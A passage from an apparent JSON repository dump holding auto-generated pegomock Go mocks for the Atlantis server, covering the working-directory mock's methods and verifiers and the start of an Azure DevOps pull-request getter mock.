{\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetGitUntrackedFiles\", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{r, p}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullDir\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetWorkingDir\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, cloneDir}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"HasDiverged\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"MergeAgain\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 bool\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GitReadLock\", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem()})\n\tvar _ret0 func()\n\tif len(_result) != 0 && _result[0] != nil {\n\t\t_ret0 = _result[0].(func())\n\t}\n\tif _ret0 == nil {\n\t\t_ret0 = func() {}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockWorkingDir struct {\n\tmock                   *MockWorkingDir\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification {\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Clone\", _params, verifier.timeout)\n\treturn &MockWorkingDir_Clone_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_Clone_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, headRepo, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Delete\", _params, verifier.timeout)\n\treturn &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_Delete_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, r, p := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1]\n}\n\nfunc (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_DeleteForWorkspace_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeleteForWorkspace\", _params, verifier.timeout)\n\treturn &MockWorkingDir_DeleteForWorkspace_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_DeleteForWorkspace_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, r, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_DeleteForWorkspace_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) *MockWorkingDir_DeletePlan_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p, workspace, path, projectName}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeletePlan\", _params, verifier.timeout)\n\treturn &MockWorkingDir_DeletePlan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_DeletePlan_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_DeletePlan_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, string, string) {\n\tlogger, r, p, workspace, path, projectName := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1], path[len(path)-1], projectName[len(projectName)-1]\n}\n\nfunc (c *MockWorkingDir_DeletePlan_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 []string, _param5 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetGitUntrackedFiles\", _params, verifier.timeout)\n\treturn &MockWorkingDir_GetGitUntrackedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_GetGitUntrackedFiles_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, r, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_GetGitUntrackedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) *MockWorkingDir_GetPullDir_OngoingVerification {\n\t_params := []pegomock.Param{r, p}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullDir\", _params, verifier.timeout)\n\treturn &MockWorkingDir_GetPullDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_GetPullDir_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_GetPullDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) {\n\tr, p := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], p[len(p)-1]\n}\n\nfunc (c *MockWorkingDir_GetPullDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_GetWorkingDir_OngoingVerification {\n\t_params := []pegomock.Param{r, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetWorkingDir\", _params, verifier.timeout)\n\treturn &MockWorkingDir_GetWorkingDir_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_GetWorkingDir_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, string) {\n\tr, p, workspace := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_GetWorkingDir_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) *MockWorkingDir_HasDiverged_OngoingVerification {\n\t_params := []pegomock.Param{logger, cloneDir}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"HasDiverged\", _params, verifier.timeout)\n\treturn &MockWorkingDir_HasDiverged_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_HasDiverged_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_HasDiverged_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) {\n\tlogger, cloneDir := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], cloneDir[len(cloneDir)-1]\n}\n\nfunc (c *MockWorkingDir_HasDiverged_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_MergeAgain_OngoingVerification {\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"MergeAgain\", _params, verifier.timeout)\n\treturn &MockWorkingDir_MergeAgain_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_MergeAgain_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_MergeAgain_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, headRepo, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_MergeAgain_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_azuredevops_pull_getter.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: AzureDevopsPullGetter)\n\npackage mocks\n\nimport (\n\tazuredevops \"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockAzureDevopsPullGetter struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockAzureDevopsPullGetter(options ...pegomock.Option) *MockAzureDevopsPullGetter {\n\tmock := &MockAzureDevopsPullGetter{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockAzureDevopsPullGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockAzureDevopsPullGetter) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockAzureDevopsPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockAzureDevopsPullGetter().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pullNum}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullRequest\", _params, []reflect.Type{reflect.TypeOf((**azuredevops.GitPullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *azuredevops.GitPullRequest\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*azuredevops.GitPullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockAzureDevopsPullGetter) VerifyWasCalledOnce() *VerifierMockAzureDevopsPullGetter {\n\treturn &VerifierMockAzureDevopsPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockAzureDevopsPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAzureDevopsPullGetter {\n\treturn &VerifierMockAzureDevopsPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockAzureDevopsPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsPullGetter {\n\treturn &VerifierMockAzureDevopsPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockAzureDevopsPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAzureDevopsPullGetter {\n\treturn &VerifierMockAzureDevopsPullGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockAzureDevopsPullGetter struct {\n\tmock                   *MockAzureDevopsPullGetter\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockAzureDevopsPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pullNum}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullRequest\", _params, verifier.timeout)\n\treturn &MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification struct {\n\tmock              *MockAzureDevopsPullGetter\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) {\n\tlogger, repo, pullNum := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1]\n}\n\nfunc (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = 